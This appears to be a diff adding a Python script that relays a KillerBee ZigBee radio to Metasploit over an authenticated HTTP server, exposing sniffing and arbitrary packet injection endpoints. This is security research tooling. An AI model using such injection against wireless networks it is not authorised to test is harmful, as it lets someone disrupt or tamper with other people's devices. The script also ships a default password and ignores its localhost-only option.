+import socket +import threading +import pkg_resources # Used to get killerbee version + +from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from urlparse import parse_qs,urlparse +from killerbee import * + +last_errors = 0 +starttime = 0 +packets_sent = 0 +last_sent = 0 +username = None +password = None +kb = None + +class MSFHandler(BaseHTTPRequestHandler): + def status(self): + status = {} + hw_versions = [] + fw_version = pkg_resources.get_distribution("killerbee").version + device_names = [] + for dev in kbutils.devlist(): + hw_versions.append(dev[2]) + device_names.append(dev[1]) + if len(hw_versions) > 0: + status["operational"] = 1 + else: + status["operational"] = 0 + status["hw_specialty"] = { "zigbee": True } + # TODO: We should check firmware before reporting transmit capabilities + status["hw_capabilities"] = { "transmit": True} + status["last_10_errors"] = last_errors + status["api_version"] = "0.0.3" + status["fw_version"] = fw_version + if len(hw_versions) == 1: + status["hw_version"] = hw_versions[0] + status["device_name"] = device_names[0] + elif len(hw_versions) > 1: + status["hw_version"] = ', '.join(hw_versions) + status["device_name"] = ', '.join(device_names) + else: + status["hw_version"] = "Not Supported" + return status + + def statistics(self): + global packets_sent + stats = {} + stats["uptime"] = int(time.time()) - starttime + stats["packet_stats"] = packets_sent + stats["last_request"] = last_sent + stats["voltage"] = "0.0v" + return stats + + def datetime(self): + return { "sytem_datetime": int(time.time()) } + + def timezone(self): + return { "system_timezone": time.strftime("%Z") } + + def set_channel(self, args): + if not "chan" in args: + return self.not_supported() + chan = int(args["chan"][0]) + kb.set_channel(chan) + return { "success": True } + + def inject(self, args): + global packets_sent + if not "data" in args: + return self.not_supported() + try: + kb.inject(base64.urlsafe_b64decode(args["data"][0])) + packets_sent+=1 + except Exception, e: + print("ERROR: Unable to inject packet: {0}".format(e)) + return { "success": False } + return { "success": True } + + def recv(self): + pkt = kb.pnext() + if pkt != None and pkt[1]: + return {"data": base64.urlsafe_b64encode(pkt[0]), "valid_crc": pkt[1], "rssi": pkt[2] } + return {} + + def sniffer_off(self): + kb.sniffer_off() + return {"success": True } + + def sniffer_on(self): + kb.sniffer_on() + return {"success": True } + + def supported_devices(self): + devices = [] + for dev in kbutils.devlist(): + devices.append(dev[0]) + return { "devices": devices } + + def not_supported(self): + return { "status": "not supported" } + + def send(self, data, resp=200): + self.send_response(resp) + self.send_header('Content-type','application/json') + self.end_headers() + self.wfile.write(json.dumps(data)) + return + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Killerbee MSF Relay\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write("Please Authenticate") + + def do_GET(self): + if not password == None: + if self.headers.getheader('Authorization') == None: + print("Did not authenticate") + self.do_AUTHHEAD() + return + if not self.headers.getheader('Authorization') == 'Basic '+base64.b64encode(username + ":" + password): + print("Bad Authentication") + self.do_AUTHHEAD() + return + url = urlparse(self.path) + args = parse_qs(url.query) + if self.path=="/status": + self.send(self.status()) + elif self.path=="/statistics": + self.send(self.statistics()) + elif self.path=="/settings/datetime": + self.send(self.datetime()) + elif self.path=="/settings/timezone": + self.send(self.timezone()) + elif self.path=="/zigbee/supported_devices": + self.send(self.supported_devices()) + elif self.path.startswith("/zigbee/"): + re_dev = re.compile("/zigbee/([\d\w:]+)/") + m = re_dev.match(self.path) + if m: + dev = m.group(1) + if self.path.find("/set_channel?") > -1: + self.send(self.set_channel(args)) + elif self.path.find("/inject?") > -1: + self.send(self.inject(args)) + elif self.path.find("/recv") > -1: + self.send(self.recv()) + elif self.path.find("/sniffer_off") > -1: + self.send(self.sniffer_off()) + elif self.path.find("/sniffer_on") > -1: + self.send(self.sniffer_on()) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + return + +class Killerbee_MSFRelay(cmd.Cmd): + intro = """ + KillerBee Metasploit Relay +""" + + def __init__(self, ip='0.0.0.0', port=8080): + cmd.Cmd.__init__(self) + + self._ip = ip + self._port = port + self._sock = None + self._pause = False + + self.start() + + def start(self): + self._go = True + while self._go: + # serve the NIC port + try: + self._sock = HTTPServer((self._ip, self._port), MSFHandler) + starttime = int(time.time()) + print("KillerBee MSFRelay running.") + self._sock.serve_forever() + except KeyboardInterrupt: + self._sock.socket.close() + self._go = False + except: + sys.excepthook(*sys.exc_info()) + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument('-i', '--iface', '--dev', action='store', dest='devstring') + parser.add_argument('-u', '--user', default="msf_relay", help='HTTP Username', type=str) + parser.add_argument('-p', '--password', default="rfcat_relaypass", help='HTTP Password', type=str) + parser.add_argument('-P', '--Port', default=8080, type=int) + parser.add_argument('--noauth', default=False, action="store_true", help='Do not require authentication') + parser.add_argument('--localonly', default=False, action="store_true", help='Listen on localhost only') + + ifo = parser.parse_args() + + try: + kb = KillerBee(device=ifo.devstring) + except KBInterfaceError as e: + print("Interface Error: {0}".format(e)) + sys.exit(-1) + + username = ifo.user + password = ifo.password + ip = "0.0.0.0" + port = ifo.Port + if ifo.noauth: + username = None + password = None + if ifo.localonly: + host = "127.0.0.1" + + wait_msg = False + dev_found = False + while not dev_found: + try: + devs = kbutils.devlist() + if len(devs) > 0: + dev_found = True + elif not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + except KeyboardInterrupt: + sys.exit() + except: + if not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + + beerelay = Killerbee_MSFRelay(ip, port) + +import atexit +atexit.register(cleanupInteractiveAtExit)